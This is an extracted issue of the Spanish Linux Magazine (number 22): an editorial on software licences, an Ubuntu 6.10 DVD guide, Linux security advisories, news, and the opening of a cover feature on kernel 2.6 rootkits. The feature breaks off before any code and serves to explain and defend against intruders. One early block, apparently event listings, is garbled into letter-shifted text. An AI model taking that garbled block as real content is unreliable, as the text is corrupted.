GPS Perl
LINUX MAGAZINE
Script para no perderte por el monte p43
Edición en Castellano
Ubuntu 6.10 Edgy Eft Incluye Live DVD y versión de instalación
NÚMERO 22
Instalación gráfica asistida Soporte LTS de 5 años
NÚMERO 22 • P.V.P 6,95 €
Rootkits
Apparmor
CÓMO ESCRIBIR UN
SELinux
MySQL 5
ROOTKIT
Python Combate el Spam con filtros bayesianos p48
MySQL 5 Listo para enfrentarse a Oracle p34
KBeagle Búsquedas de escritorio inteligentes p66
Aprende todo lo que hay que saber sobre la nueva generación de intrusos de Internet p12
Antispam Python
Concurso Software Libre Todas las ideas, todos los proyectos p88
Apparmor
KBeagle
La herramienta de seguridad de Suse Linux p17
GPS Perl
SELinux La completa línea de defensa de Red Hat p21
Concurso de Software Libre
Bot Attack!
Bot Attack
Cómo repeler el ataque de servidores zombies p58
WWW.LINUX- MAGAZINE.ES
-JOVY8PSME $POGFSFODF &YQP o
8PSMEXJEF 4FSJFT /FX :PSL
'FCSVBSZ o
XXX MJOVYXPSMEFYQP DPN
.FYJDP $JUZ
'FCSVBSZ o .BSDI
XXX MJOVYXPSMEFYQP DPN NY
#SVTTFMT
.BSDI o
XXX MJOVYXPSMEFYQP CF
.BESJE
"QSJM o
XXX MJOVYXPSMETVNNJU DPN FT
5PSPOUP
"QSJM o .BZ
XXX MXOXFYQP QMVNDPN DB
4BP 1BVMP
.BZ o
XXX MJOVYXPSMECSBTJM DPN CS
.JMBO
.BZ o
XXX MJOVYXPSMETVNNJU JU
5PLZP
.BZ o +VOF
XXX JEH DP KQ FYQP MX
4BO 'SBODJTDP
"VHVTU o
XXX MJOVYXPSMEFYQP DPN
4FPVM
"VHVTU o
XXX MJOVYXPSMELPSFB DPN
#FJKJOH
4FQUFNCFS o
XXX MJOVYXPSMEDIJOB DPN
-POEPO
0DUPCFS o
XXX MJOVYXPSMEFYQP DP VL
6USFDIU
0DUPCFS o /PWFNCFS XXX MJOVYXPSMEFYQP OM
8PSME T MFBEJOH 5SBEF &WFOU GPS -JOVY BOE 0QFO 4PVSDF JO CVTJOFTT
*/5&3/"5*0/"- .&%*" 410/403
EDITORIAL
ME AFECTA Estimado Lector de Linux Magazine
maginemos por un momento que un responsable y trabajador españolito de a pie ahorra lo suficiente como para comprarse su primera vivienda (ya he dicho que hay que utilizar la imaginación). Con mucha ilusión, queda con la comercial de la promotora para ultimar los detalles del trato. Firma aquí, firma allá, le transfiere una cantidad obscena de dinero, le acompañan a un notario, vuelta a firmar, vuelta a transferir. Después de un día agotador, nuestro protagonista vuelve a casa (de sus padres) y, pese al cansancio, repasa la documentación que le han entregado. ¡Epa! ¿Esto qué es? En el plazo de entrega: “… las obras estarán acabadas en más o menos tres años…” ¿Cómo “más o menos”? Y ¿más o menos con respecto a qué? Nuestro héroe que es, digamos, geólogo, sabe que, en términos de su especialidad, 3, 300 ó 3000 años son precisamente “más o menos” lo mismo. Pero la cosa no acaba ahí. En el pliego descriptivo: “… la vivienda constará de más o menos 3 dormitorios, aproximadamente 2 baños, alrededor de 1 cocina y puede que 1 salón comedor. No estamos seguros de incluir una terraza, pero si los de Urbanismo nos lo aprueban, y nos llega el presupuesto, cuente con ello. La superficie útil suponemos que será de 90 metros cuadrados, pero vete a saber.” El plano muestra un espacio en blanco y no hay siquiera una escala. La firma del incauto comprador está en todo, incluso en la fotocopia del menú de un chino que alguien debió dejar olvidado en la mesa de la agente inmobiliaria. El geólogo comienza a tener palpitaciones… Dejemos por un instante a nuestro desafortunado amigo y pensemos en cómo, en estos momentos, hay millones de personas que, inadvertidamente, están en una situación similar con respecto al software que rige sus ordenadores personales y profesionales. Y lo bueno es que, con la nueva versión de ya-teimaginas-qué, eso no va a cambiar. Me llega la licencia de Windows Vista [1] y, junto a las típicas patochadas tipo “el software no puede ser utilizado por más de un usuario simultáneamente” (es decir, si le dices a tu esposa, “¡Eh! ¡Ven a ver esto!” estás violando la licencia), tenemos en la sección “Limita-
I
Nos sentimos orgullosos de nuestros orígenes como publicación, que se remonta a los primero días de la revolución Linux. Nuestra revista hermana, la publicación alemana Linux Magazine, fundada en 1994, fue la primera revista dedicada a Linux en Europa. Desde aquellas tempranas fechas hasta hoy, nuestra red y experiencia han crecido y se han expandido a la par que la comunidad Linux a lo ancho y largo del mundo. Como lector de Linux Magazine, te unes a una red de información dedicada a la distribución del conocimiento y experiencia técnica. No nos limitamos a informar sobre el movimiento Linux y de Software Libre, sino que somos parte integral de él.
ciones y exclusión de daños” la siguiente perla: “[…] el software se ejecutará sustancialmente como describe el material de Microsoft […]” y juro que el contexto no cambia el sentido de lo anterior un ápice. O sea que el software “más o menos” se ejecutará. Sí, ya sé: pone “sustancialmente”, que no es exactamente los mismo que “más o menos”, lo que significa que el software tenderá a funcionar más que a no funcionar. Pero, volvamos a nuestro confundido comprador de pisos. Imaginemos que la descripción indica que la vivienda está “sustancialmente en la primera planta”. Se construye el edificio (en más o menos 3 años), se recogen las llaves, se vuelve al notario, más transferencias de ingentes cantidades de dinero de un lugar a otro y, por fin, nuestro geólogo se dirige a su nuevo hogar. Cuando llega… ¡Oh, sorpresa! ¡Su casa está bajo tierra! Reclamación. Ante el juez, el promotor alega, “Bueno, señoría, el hecho es que la vivienda en cuestión está sustancialmente más en la primera planta que en el ático, que está siete pisos más arriba”. Además, hace notar que no deja de ser irónico que el demandante se pase la mayor parte de su tiempo recogiendo rocas en cuevas. Traslademos todo lo anterior a Vista. Imaginemos que, de las 10.000 cosas que un sistema operativo ha de hacer, sólo hay una donde Vista casca. Coincidirán conmigo en que la oración de que el software funciona “sustancialmente” es correcta: el sistema funciona en un 99,99%. Pero va y resulta que esa única cosa que casca es la que dibuja las ventanas en la pantalla. Sí, el sistema funciona “sustancialmente”, lo único que pasa es que usted no puede verlo… Y usted ha pulsado “Aceptar”. Claro que, a mí ¡plim! Yo utilizo Linux en todas mis máquinas y, si actualizo a algo, va a ser a Fedora 6, por tanto no me afecta. ¿O tal vez sí? Las grandes corporaciones del software infiltran a sus ejecutivos en toda suerte de comisiones y comités por todo el mundo, ofreciendo su “ayuda” para asesorar a europarlamentarios, diputados, congresistas,
WWW.LINUX- MAGAZINE.ES
senadores y ministros en la reescritura de leyes [2], dejando que los mismos abogados en nómina que redactan sus licencias, le metan mano a documentos que van regir las vidas de los ciudadanos, contaminándolas con vaguedades, imprecisiones y ambigüedades que hacen que las normas que a todos nos vinculan digan digo y digan diego simultáneamente, dando lugar a una manipulación del supuesto libre mercado y abriendo las puertas a una interpretación sesgada de la legislación, facilitándoles la imposición de sus productos incluso a quienes no los quieren ni, en principio, los necesitan y allanándoles el camino para tretas que obligan a la desaparición de cualquier competidor legítimo que amenace su supremacía. Se constituyen como gobiernos en la sombra, cuyos líderes no han sido elegidos por sufragio universal, sino por una junta directiva que únicamente vela por sus intereses comerciales, y no responden ni ante el pueblo ni ante la justicia, sólo ante sus accionistas. I Y eso sí me afecta.
Paul C. Brown Director
Agradecimientos [1] Gracias a Julián Coccia de Linux Español (http://linux.es/). [2] Gracias a Alberto Barrionuevo de Estándares Abiertos (http://www. estandaresabiertos.com/) por ejemplos tangibles.
Número 22
3
CONTENIDOS • Linux Magazine nº 22
PORTADA 12 Rootkits Los rootkits de hoy día se infiltran en el sistema objetivo a nivel de kernel, escapando de esta manera de la atención del administrador. Siga leyendo y descubrirá cómo funciona de verdad un rootkit de kernel.
17 AppArmor Cuando un atacante consigue infectar el sistema de una víctima hereda sus privilegios. AppArmor bloquea el ataque reduciendo los privilegios potenciales de la víctima al mínimo.
21 SELinux SELinux ofrece un sistema de Control de Acceso Obligatorio para Linux, si estás dispuesto a entrar a fondo.
25 AppArmor vs SELinux ¿Security Enhanced Linux o AppArmor? Linux Magazine ha invitado a dos personajes bien conocidos de Red Hat y Novell para debatir los méritos de sus sistemas de seguridad.
LINUX MAGAZINE 3 6 8 10 94 94 95 97 98
4
Editorial DVD Linux Magazine Inseguridades Noticias Eventos Información de Contacto Subscripciones Linux Local Próximo Número
Número 22
EVALUACIÓN 28 Libros Con la introducción de Linux en las aulas se hace imperiosa la producción de material educativo que dote a los profesores de las herramientas necesarias para desarrollar adecuadamente su labor. La primera editorial que ha decidido darle forma a una serie de materiales diseñados específicamente para los centros escolares ha sido McGraw Hill.
29 FreeSpire Linspire ha publicado una nueva versión no comercial de su distro denominada Freespire. Hemos tomado la beta de Freespire para ponerla a prueba.
PRÁCTICO 32 LeafTag El programa experimental Leaftag ofrece los medios para asociar archivos con categorías de búsquedas y otros metadatos.
34 MySQL 5 Vamos a mostrar cómo algunas de las características nuevas de MySQL 5 mejorarán el diseño del software y aumentarán el rendimiento de las aplicaciones.
40 Backups tar Utilización de un fichero tar para restaurar un sistema de forma rápida, sin tener que hacer una reinstalación completa.
DESARROLLO 43 Perl: GPS Los hackers de Perl se suben al monte con un sistema de navegación que les proporciona una representación gráfica de la excursión.
48 Python: Spam Paul Graham publicó un artículo en 2002 en el que decía que los filtros bayesianos acabarían con el Spam, pero ¿qué es un filtro bayesiano? y, peor aún ¿qué es en realidad el spam?
52 Google API Con el protocolo GData (el API de datos de Google) tendremos un acceso completo a los datos de las aplicaciones diseñadas por Google, incluido Google Calendar, de una manera unificada y sencilla.
ADMINISTRACIÓN 57 Charly Un servidor DNS sobrecargado puede retrasar todos los puestos de trabajo de una red. Dnsgraph es un sistema de aviso que proporciona a los administradores un gráfico de valores críticos. Sus diagramas le ayudarán a tener a punto sus sistemas servidores de nombres.
58 Bot attack Mientras realizaba sus tareas habituales, el colaborador de Linux Magazine, Charly Kühnast fue víctima de un malvado ataque. El servidor antispam de Charly, ubicado como defensa ante su servidor de correo, le salvó de la avalancha de emails.
WWW.LINUX- MAGAZINE.ES
ADMINISTRACIÓN 60 Apache: Modsecurity El módulo de Apache ModSecurity proporciona una protección extra para el servidor web. Vamos a mostrar por qué esta aplicación de cortafuegos opcional está convirtiéndose rápidamente en la favorita de los webmasters y de los expertos en seguridad.
LINUX USER 66 Ktools: KBeagle Si se ha perdido la esperanza de encontrar el camino entre la masa de datos de tu ordenador de sobremesa, lo mejor es usar un motor de búsqueda que permita guiarnos a través de la selva. Kerry y KBeaglebar nos acercan el motor Beagle al escritorio KDE.
LINUX USER 79 Línea de comandos: Isos Si se están creando copias de seguridad, salvando datos o copiando CDs arrancables, dd y mkisofs te ayudan a realizar este trabajo estupendamente.
82 Juegos Los más veteranos en el mundo de los juegos conocerán títulos como Stunts, los primeros simuladores 3D de conducción que existieron y que causaron sensación entre el público en general. En esa misma línea de juego, con muchas mejoras y completamente libre, llega ahora Mania Drive.
70 Érase una vez En vez de picar código, ¿qué tal si intentamos ir a por un bestseller? Si estás buscando el modo de organizar tu pró xima novela, prueba con StoryLines y la suite Writer’s Cafe.
74 Educación No podemos cerrar el estudio sobre la traducción del software libre, sin examinar las propuestas de la industria de la traducción: la especificación XLIFF y sus herramientas. ¿Está el software libre a la altura?
■ Instalación gráfica asistida ■ Administración de software simplificada ■ Soporte LTS de cinco años ■ Herramientas colaborativas para usuarios y desarrolladores
68 Metacity Si el espartano administrador de ventanas Metacity no te da la funcionalidad que necesitas, prueba con los añadidos Brightside y Devil’s Pie de Metacity.
■ Incluye Live DVD y versión de instalación
■ Firefox 2, OpenOffice.org 2, Gnome 2.16, Kernel 2.6.17
COMUNIDAD MÁS DETALLES EN LA Pág 6 84 Konsultorio Si tienes algún problema de configuración, o simplemente quieres conocer mejor cómo funciona Linux, Klaus Knopper, el creador de Knoppix, te ayuda.
88 Concurso Software Libre Presentamos en esta sección el listado completo en orden alfabética de los proyectos admitidos para participar en 1er Concurso Universitario de Software Libre.
WWW.LINUX- MAGAZINE.ES
Número 22
5
DVD LINUX MAGAZINE
UBUNTU 6.10 L
a popularidad de Ubuntu es inaudita. Cuando, a finales del 2004, la redacción de Linux Magazine Internacional (la revista hermana de Linux Magazine – Edición en Castellano) emitió un cuestionario pidiendo sugerencias para su próximo DVD de portada, desde la redacción española sugerimos Ubuntu. La reacción de los redactores fue: “¿Ubuntu? ¿Quién narices quiere eso?” Sin embargo, escasamente dos años después, es difícil imaginar el panorama de Linux sin esta distro. Su popularidad es tal que ocupa el primer puesto DistroWatch [1] desde el 2005, desplazando a Mandrake/Mandriva, la distribución dominante de los años 2002, 2003 y 2004, cogiendo por sorpresa a toda la comunidad.
Software
No hay duda de que se lo merece: por su sencillez de instalación, configuración y manejo, por su sólido soporte de larga duración (LTS de cinco años) y la rigurosa conformación del equipo de producción y comercialización a los principios del software libre.
• Kernel 2.6.17 • GCC 4.1.1 • X.org 7.1 Escritorio • Gnome 2.16 Ofimática / Internet • Firefox 2.0 • OpenOffice.org Gráficos • F-Spot 0.2.1 • Gimp 2.2.13
Cómo siempre, explicamos aquí cómo configurar su versión de Ubuntu para que pueda acceder a más aplicaciones. Ubuntu se basa en Debian, por tanto el sistema subyacente para la instalación de paquetes es apt (Advanced Packaging Tool, no A Prueba de Tontos). Con apt es muy sencillo instalar paquetes desde la línea de comandos: # apt-get install mozilla … instalaría el navegador Mozilla y… # apt-get remove mozilla
Existe un interfaz gráfico para apt, llamado Synaptic, al que se accede desde el menú Sistema > Administración > Synaptic. El proceso de instalación con Synaptic es todavía más sencillo, ya que presenta una lista (en la cual también se puede buscar por nombre y descripción) y simplemente se ha de pulsar en el cuadro de verificación para indicar los paquetes que queremos instalar y eliminar del sistema. Para añadir nuevos repositorios, hemos de dirigirnos al menú Sistema > Administración > Propiedades del Software. Esto nos abrirá la aplicación Preferencias de
Figura 1: Desde la pantalla de arranque de la instalación, se puede seleccionar el idioma, teclado, resolución de pantalla, opciones de accesibilidad, etc.
6
Número 22
La nueva versión de Ubuntu (nombre en clave Edgy Eft, o Salamandra Sensible) es un elemento de continuidad en la línea de distros de Ubuntu liberadas hasta el momento. Actualiza y mejora las aplicaciones incluidas en la versión
Más allá del DVD
.. eliminaría el paquete del sistema. Sistema
Novedades
Software. En la pestaña Medios de Instalación, pulsamos en el botón Añadir. Marcamos los repositorios que deseamos añadir… • Soportado Oficialmente son los repositorios que contienen paquetes creados por el equipo de Ubuntu. • Copyright Restrictivo son repositorios que contienen paquetes que tienen algún tipo de licencia diferente al GPL (como el plugin Flash para Firefox) y que no pueden ser distribuidos de manera completamente libre. • Mantenido por la Comunidad (Universe) son repositorios no oficiales con paquetes creados por desarrolladores independientes. • Non-free (Multiverse) son repositorios que contienen paquetes con licencias no libres. Estos repositorios no suelen ser mantenidos por Ubuntu y no se actualizan a menudo. Una vez hayamos seleccionado los repositorios que nos interesan, pulsamos en aceptar y la próxima vez que abramos Synaptic, observaremos cómo se han añadido los nuevos paquetes a la lista de software disponible.
Figura 2: El instalador simplificado permite añadir y suprimir aplicaciones de manera sencilla.
WWW.LINUX- MAGAZINE.ES
DVD LINUX MAGAZINE
caso de cuelgue, se pueda recabar la información que los desarrolladores necesitan para corregir el fallo. Asimismo, la plataforma Launchpad, integrada en el sistema, permite una colaboración más fluida entre los desarrolladores independientes y los desarrolladores en nómina de Canonical, la empresa productora de Ubuntu.
Instálalo ya
anterior y da un cualitativo salto hacia adelante en lo que se refiere a la comunicación de sus usuarios con el equipo de desarrollo. Por ejemplo, Ubuntu 6.10 incluye un nuevo campo en el instalador de software que le indica al usuario la popularidad del paquete con una serie de estrellas que varía en función del número de descargas/instalaciones. Esto tiene una doble fun-
ción: por un lado da pistas al usuario sobre la utilidad del paquete y por otro informa a los desarrolladores de lo que demandan los usuarios. Otro elemento a destacar es que todas las aplicaciones están compiladas para facilitar el envío de informes de error en el caso de que se cuelguen. En otras distros hay que recompilar los programas con una opción debug para que, en el
Figura 3: “Edgy” es la primera distro mayoritaria en incorporar Firefox 2.0.
Para disfrutar del instalador gráfico, hay que arrancar el DVD en modo live y a continuación pulsar en el icono “Instalar” que veremos en el escritorio. Esto también nos permitirá familiarizarnos con el entorno en el caso de ser necesario, sin tener que tocar el disco duro. La instalación gráfica, por otro lado, intenta por todos lo medios ser lo más sencilla posible y reduciendo el número de preguntas a las que el usuario tiene que contestar al mínimo. El instalador adivina y configura hardware, interfaces de red, tarjetas, periféricos (impresoras, escáners, etc.) y conexiones a Internet. Ubuntu pretende ser el Linux del usuario doméstico y ofimático, sin renunciar por ello a incluir servidores, herramientas y entornos de desarrollo que los administradores de sistemas y programadores esperan encontrar en un sistema Linux. I
RECURSOS [1] La página de las distros top 100: http:// distrowatch.com/
Figura 4: OpenOffice 2.0 es la suite de ofimática incluida con Edgy. Incluye documentos de ejemplo para el usuario novel.
WWW.LINUX- MAGAZINE.ES
Número 22
7
LINUX USER INSEGURIDADES Schlagwort sollte hier stehen
INSEGURIDADES Samba Samba es un servidor de aplicaciones de código abierto que proporciona ficheros de red y servicios de compartición de impresión a clientes SMB/CIFS. Se encontró un fallo de denegación de servicio en la manera en la que el demonio smbd busca las conexiones activas a compartir. Un atacante remoto conocedor de este problema podría hacer que el demonio smbd consumiera una gran cantidad de memoria del sistema mediante el envío de peticiones smbd cuidadosamente manipuladas. I (CVE-2006-3403). Referencia Debian: DSA-1110-1 Referencia Gentoo: GLSA-200607-10 Referencia Mandriva: MDKSA-2006:120 Referencia Red Hat: RHSA-2006:0591-6 Referencia Slackware: SSA:2006-195-01
8
Número 22
Referencia Suse: SUSE-SR:2006:017 Referencia Ubuntu: USN-314-1
Referencia Mandriva: MDKSA-2006:139 Referencia Red Hat: RHSA-2006:0612-8
krb5
libtiff
Kerberos (krb5) es un sistema de autenticación de red que permite a clientes y servidores autenticarse entre ellos usando encriptación simétrica y entre una confiada tercera parte, el KDC. Se encontró un error en el lugar en el que algunas conocidas aplicaciones de Kerberos podrían fallar al comprobar el resultado de la llamada al setuid (). En los kernels de Linux 2.6, la llamada al setuid puede fallar si se alcanzan los límites de ciertos usuarios. Un atacante local podría manipular su entorno de manera que consiguiese que las aplicaciones continuaran ejecutándose como root, llevando potencialmente a una escalada de I privilegios. (CVE-2006-3083). Referencia Debian: DSA-1146-1 Referencia Gentoo: GLSA-200608-15
El paquete libtiff contiene una librería de funciones para la manipulación de ficheros TIFF (Tagged Image File Format). Tavis Ormandy de Google descubrió algunos fallos en libtiff durante una revisión de seguridad. Un atacante podría crear un fichero TIFF cuidadosamente manipulado de tal manera que diera lugar a que una aplicación unida a libtiff se estropeara o que posiblemente ejecutara código arbitrario. (CVE-2006-3459, CVE-2006-3460, CVE2006-3461, CVE-2006-3462, CVE-2006-3463, I CVE-2006-3464, CVE-2006-3465) Referencia Debian: DSA-1137-1 Referencia Gentoo: GLSA-200608-07 Referencia Mandriva: MDKSA-2006:137 Referencia Red Hat: RHSA-2006:0603-4
WWW.LINUX- MAGAZINE.ES
INSEGURIDADES
Referencia Suse: SUSE-SA:2006:044 Referencia Ubuntu: USN-330-1
Firefox/Thunderbird Mozilla Firefox es un navegador web de Código Abierto. Los expertos han descubierto algunos fallos de seguridad en Firefox. aunque la mayoría de los problemas también son aplicables al cliente de correo y de grupos de usuarios de Mozilla Thunderbird. Los fallos se encontraron en el modo en el que Firefox procesa determinadas acciones Javascript. Una página web podría ejecutar instrucciones javascript arbitrarias con los permisos de “chrome”, permitiendo robar información sensible o instalar malware. (CVE-2006-2776, CVE2006-2784, CVE-2006-2785, CVE-2006-2787, CVE-2006-3807, CVE-2006-3809, CVE-20063812) Se encontraron fallos de denegación de servicio en la manera en la que Firefox procesa ciertos contenidos web. Una página web podría colgar el navegador o ejecutar código arbitrario como el usuario ejecutando Firefox. (CVE-2006-2779, CVE-2006-2780, CVE-2006-3801, CVE-20063677, CVE-2006-3113, CVE-2006-3803)
Se encontró un fallo de scripting multisitio en la manera en la que Firefox procesa registros Unicode Byte Order Mark (BOM) en páginas web UTF-8. (CVE-2006-2783) Se encontraron algunos fallos en la manera en la que Firefox procesa ciertas acciones javascript. Una página web maliciosa podría conducir a un ataque del scripting multisitio o robar información sensible (tales como cookies propiedad de otros dominios). (CVE-2006-3802, CVE-2006-3810) Se encontró un fallo de subida de fichero-formulario en la manera en que Firefox manipula la mutación de objetos de entrada javascript. Una página web maliciosa podría subir un fichero local arbitrario en el momento del envío sin interacción con el usuario. (CVE-2006-2782) Se encontró un fallo de denegación de servicio en la manera en la que Firefox llama a la función javascript crypto.sign Text(). Una página web maliciosa podría usar este fallo para comprometer al navegador. (CVE-20062778) Se encontraron dos fallos de contrabando de respuesta HTTP en la manera en la que Firefox procesa ciertos cabeceras de respuesta HTTP
WWW.LINUX- MAGAZINE.ES
inválidas. Una website maliciosa podría devolver cabeceras de respuesta HTTP especialmente manipulados que podrían evitar las restricciones de un proxy HTTP. (CVE-2006-2786) Se encontró un fallo en la manera en la que Firefox procesa scripts Proxy AutoConfig. Un servidor Proxy AutoConfig podría ejecutar instrucciones javascripts arbitrarias con los permisos de “chrome”, permitiendo a la página robar información sensible o instalar malware. (CVE2006-3808) Se encontró un doble fallo en la manera en la que es llamado el método nsIX509::getRawDER. Si una víctima visita una página web cuidadosamente manipulada, es posible que ejecute código arbitrario como si fuera el usuario I ejecutando Firefox. (CVE-2006-2788). Referencia Debian: DSA-1120-1, DSA-1134-1 Referencia Gentoo: GLSA 200608-03, GLSA 200606-21 Referencia RedHat: RHSA-2006:0610-4, RHSA-2006:0611-3 Referencia Slackware: SSA:2006-208-01 Referencia Suse: SUSE-SR:2006:018 Referencia Ubuntu: USN-296-2, USN-297-3, USN-327-1, USN-329-1
Número 22
9
NOTICIAS
NOTICIAS Linux Educativo El software libre en la administración se hace fuerte en el área de la educación. En todas las instancias de distros apoyadas por gobiernos autonómicos, la primera incursión siempre se ha hecho en el ámbito educativo. Ahora mismo, debido a la rapidez de la evolución del desarrollo del software, podemos decir que tanto Extremadura como Andalucía son administraciones de segunda generación en lo que a FLOSS se refiere. Es decir, con varios años de experiencia a sus espaldas, errores aprendidos y superados, se empiezan a utilizar GNU/Linux y las utilidades que le acompañan, ya no como algo revolucionario, sino como una herramienta habitual tanto para las grandes como para las pequeñas infraestructuras informáticas institucionales y se comienza a acometer, tanto en una administración como en otra, la migración total. Pero, siguen siendo las educativas, como instituciones más veteranas en el uso de Linux, las que mejor han asumido el cambio y las que están marcando el camino a otros sectores de ambas administraciones.
Neutralidad Bien Entendida No sabemos cómo ha llegado a pasar que el concepto de “neutralidad tecnológica” ha mutado su significado original de “abrirse a los ciudadanos, sin imponer una tecnología dada” a “carta blanca para imponer un monopolio de facto”. Tan radical ha sido el cambio, que muchos militantes del software libre miran con recelo este concepto y hasta prefieren evitar su uso. Afortunadamente, el Observatorio de Neutralidad Tecnológica se ha ancargado de poner los puntos sobre las íes en su Primer Informe del Observatorio, informe donde se resumen las áreas que ha de mejorar la administración si se pretende cumplir con los principios de
10
Número 22
En este orden de cosas, el pasado 27 de octubre se presentaron en Sevilla las nuevas plataformas educativas que van a servir de trampolín para profesores, alumnos y padres en los próximos años. Entre las novedades destaca las plataforma Helvia, que integra un sitio web estandarizado que puede ser personalizado para cada centro escolar y que le sirve de escaparate en Internet; weblogs para profesores y alumnos, utilizables tanto internamente como de cara a Internet; y aulas virtuales, que permiten la formación no presencial y autónoma por parte del alumno. Otra de las nuevas aplicaciones es Bartic, que pone a disposición del profesorado, alumnado y padres, una extensa base de datos de recursos educativos, base de datos que puede ampliarse con aportaciones de terceros. Constará de dos zonas diferenciadas: una privada para administradores y publicadores de recursos, y otra pública que permitirá que cualquiera dé de alta nuevos recursos educativos (que después serán evaluados por un comité de expertos para determinar su idoneidad), acceder a los recursos publicados, buscar en la base
de datos y evaluar cada recurso, asignándole una serie de puntos en función de su utilidad. Finalmente, el portal web Pasen pretende tender un puente entre los centros escolares y las familias de los alumnos. Por un lado, Pasen permitirá encargar tareas al alumnado en grupo o por subgrupos o a alumnos individuales, anunciar fechas de exámenes, hacer seguimientos de la asistencia y el progreso de cada alumno, y un largo etcétera. Asimismo los padres podrán interactuar con el sistema para comunicarse con el profesorado, seguir el progreso de su hijo, acceder a tablones de anuncios y participar en foros. Por todo ello, los nuevos sistemas desarrollados mejorarán sensiblemente la comunicación entre los órganos regidores y los centros escolares y entre estos últimos y los padres de los alumnos de las escuelas andaluzas . Todas las utilidades están desarrolladas sobre GNU/Linux, con herramientas y lenguajes libres, y se liberan con licenI cias GPL. http://www.juntadeandalucia.es/ educacion/
neutralidad dispuestos en la legislación vigente. Asimismo, el informe recoge las 52 quejas más relevantes enviadas al observatorio donde se denuncian casos de discriminación o falta de conformación a estándares en webs, aplicaciones o requerimientos institucionales. Casos típicos de estas denuncias son páginas oficiales que exigen el uso de Internet Explorer para su correcta visualización, páginas que exigen el plugin Flash de Adobe, pliegos de condiciones para proyectos que exigen el uso de software propietario, páginas web que no se conforman a los estándares W3C y que, por tanto, se visualizan incorrectamente en navegadores que no son IE, proyectos uni-
versitarios que exigen la utilización de tecnología propietaria (p.e.: compiladores propietarios) sin necesidad, y un largo etcétera. Los artífices del Observatorio de Neutralidad Tecnológica, Jose María Lancho, abogado de Legalventure y Julián Coccia, presidente de Linux Español, presentaron su informe ante el ministro de Administraciones Públicas el pasado 24 de octubre. El Observatorio sigue abierto y a la espera de nuevas denuncias de los ciudadanos con el fin de seguir su labor en pro de la normalización de los protocolos de I intercambio de información. http://www.neutralidad.es/ http://www.legalventure.com/ http://linux.es
WWW.LINUX- MAGAZINE.ES
Especial Rootkits• PORTADA
Los rootkits del kernel 2.6 y el reto de la seguridad en Linux
INVASIÓN Y DEFENSA Nuestro sistema Linux puede que no sea tan hermético después de todo. Para comprender los peligros, tenemos que pensar como un intruso. Este mes mostramos lo que les ronda la cabeza a los intrusos con el kernel 2.6. POR JOE CASAD. e todas las creaciones malvadas en la historia del cibercrimen, el rootkit es probablemente la más ingeniosa. Un rootkit es un conjunto de herramientas para el intruso de redes. Un atacante que consiga acceso a un ordenador puede subir el rootkit y usar las herramientas para tomar el control del sistema. Un aspecto interesante de un rootkit es la habilidad de encubrir los rastros del intruso. Versiones preparadas de herramientas comunes de monitorización como netstat y ps borran todo signo de ataque. Muchos muchos rootkits se han copiado en ordenadores por todo el mundo. Pero, con el tiempo, los desarrolladores y especialistas en seguridad han desarrollado acertadas técnicas en espacio de usuario. Los expertos han aprendido a detectar la presencia de intrusos buscando detrás de las herramientas estándar de Unix que registran los cambios del sistema. Pero estos últimos, en lugar de abandonar, han respondido con algo nuevo. El rootkit de kernel es una herramienta de intrusión de nueva generación que se introduce a sí misma en el sistema Linux a un nivel muy profundo, por debajo del alcance de las herramientas de detección de usuario. Armados con rootkits de kernel, los intrusos han vuelto a tomar la delantera, al menos de momento. El kernel 2.6 implementa varios cambios que hacen mucho más difícil crear
D
un rootkit de kernel para Linux. Pero, ¿ha terminado realmente la batalla? En el tema de portada de este mes, el experto en seguridad Amir Alsbih nos muestra por qué todavía debemos preocuparnos por los rootkits de kernel con la versión 2.6. Nuestro primer artículo de la serie, “Arma Secreta: Rootkits para el kernel 2.6 de Linux” muestra un ejemplo práctico de cómo un rootkit de este kernel podría funcionar y qué aspecto tendría. Para que no se piense que todas las innovaciones vienen de los hackers malignos, también le echamos un vistazo a los dos sistemas principales de control de acceso obligatorio (MAC) para Linux. Con AppArmor y SELinux, un intruso que explote una vulnerabilidad para conseguir acceso a un sistema de este tipo puede que no consiga nunca los privilegios necesarios para comenzar a
tomar el control. Otro experto en seguridad Ralf Spenneberg nos muestra cómo proteger nuestro sistema con AppArmor, patrocinado por Novell, y SELinux, la herramienta elegida por los sistemas Red Hat. Y como colofón de este acercamiento a la seguridad de intrusiones, en nuestro artículo final, los portavoces de Novell y RedHat se enfrentan cara a cara con los costes y beneficios de AppArmor y SELinux como armas de ataque. Esperamos que disfrute del tema de portada de este mes acerca de los rootkits y la seguridad en Linux. I
En Portada Cómo escribir un Rootkit . . . . . . . . . . .12 AppArmor . . . . . . . . . . . . . . . . . . . . . . .17 SELinux . . . . . . . . . . . . . . . . . . . . . . . . .21 AppArmor vs. SELinux . . . . . . . . . . . .25
WWW.LINUX- MAGAZINE.ES
Número 22
11
PORTADA • Rootkits
Rootkits para el kernel 2.6 de Linux
ARMA SECRETA Los rootkits de hoy día se infiltran en el sistema objetivo a nivel de kernel, escapando de esta manera de la atención del administrador. Siga leyendo y descubrirá cómo funciona de verdad un rootkit de kernel. POR AMIR ALSBIH
D
espués de que un atacante haya comprometido un objetivo, el siguiente paso es asegurarse un asidero. Cualquier atacante que se precie tratará de que los administradores del sistema y los usuarios avanzados no se den cuenta de los cambios no autorizados. Existen varias herramientas para ayudar a los infiltrados a borrar pistas. Los llamados rootkits esconden procesos delatores, conexiones de red y los archivos de los administradores, y garantizan el acceso al atacante mediante una puerta trasera. Hace sólo unos años los hackers solían manipular algún programa instalado para compilar un rootkit. Una versión de netstat con un troyano escondería cualquier conexión establecida por el hacker, y un ps con troyano ofuscaría cualquier proceso ilegal. Debido a que un ataque típico implica reemplazar un buen número de utilidades, los rootkits especiales en espacio de usuario empezaron a aparecer rápidamente. Estos kits, que incluyen varios programas manipulados, son sencillos de instalar por los atacantes. La mayoría incluyen puertas traseras y herramientas populares para hackers, como el IRC Bouncer. Desde el punto de vista del hacker, los rootkits en espacio de usuario tienen una desventaja importante: simplemente comparando el checksum MD5 con el archivo original podemos descubrir un sabotaje. Y no debemos olvidar que existen programas especiales de búsqueda denominados cazadores de rootkits
12
Número 22
que descubren rápidamente estos cambios. Otra desventaja es que la influencia del hacker está restringida a las herramientas manipuladas: cualquier software que se instale posteriormente (como lsof) o herramientas en medios de sólo lectura (CD-ROM) se mantienen a salvo.
